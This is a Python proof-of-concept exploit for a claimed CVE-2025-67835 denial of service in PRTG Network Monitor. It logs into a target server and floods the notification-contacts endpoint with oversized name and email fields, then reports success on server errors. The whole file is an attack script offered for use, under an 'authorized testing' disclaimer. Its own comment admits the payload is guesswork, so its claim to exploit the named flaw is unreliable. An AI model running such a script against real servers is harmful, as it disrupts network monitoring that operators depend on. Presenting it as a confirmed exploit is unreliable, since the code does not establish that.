# CVE-2025-67835 PoC - PRTG Notification Contacts DoS
# Target: Paessler PRTG Network Monitor < 25.4.114
# Author: Security Researcher
# Note: This PoC is for educational and authorized testing purposes only
import requests
import argparse
from urllib.parse import urljoin
def exploit_prtg_dos(target_url, username, password):
"""
Exploit for CVE-2025-67835: PRTG Notification Contacts DoS
This script demonstrates how an authenticated low-privilege user
can trigger a denial of service condition through the Notification
Contacts functionality.
Args:
target_url: Base URL of PRTG server (e.g., https://prtg.example.com)
username: Valid PRTG username
password: User password
"""
session = requests.Session()
# Step 1: Login to PRTG
login_url = urljoin(target_url, '/public/login.htm')
login_data = {
'username': username,
'password': password
}
print(f'[*] Attempting login to {login_url}')
response = session.post(login_url, data=login_data)
if response.status_code != 200:
print('[-] Login failed')
return False
print('[+] Login successful')
# Step 2: Create malicious notification contact
# The specific payload depends on the exact vulnerability details
notification_url = urljoin(target_url, '/api/notificationcontacts.htm')
# Malicious payload that triggers DoS
malicious_payload = {
'name': 'DoS Test Contact' * 100, # Excessive input
'email': '
[email protected]' + 'x' * 10000, # Buffer overflow attempt
'method': 'email',
'action': 'add'
}
print(f'[*] Sending malicious notification contact request...')
try:
response = session.post(notification_url, data=malicious_payload)
if response.status_code == 500 or response.status_code == 503:
print('[+] DoS condition triggered - server error response')
return True
else:
print(f'[*] Response status: {response.status_code}')
return False
except requests.exceptions.RequestException as e:
print(f'[+] DoS triggered - connection failed: {e}')
return True
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2025-67835 PoC')
parser.add_argument('-t', '--target', required=True, help='PRTG target URL')
parser.add_argument('-u', '--username', required=True, help='Username')
parser.add_argument('-p', '--password', required=True, help='Password')
args = parser.parse_args()
exploit_prtg_dos(args.target, args.username, args.password)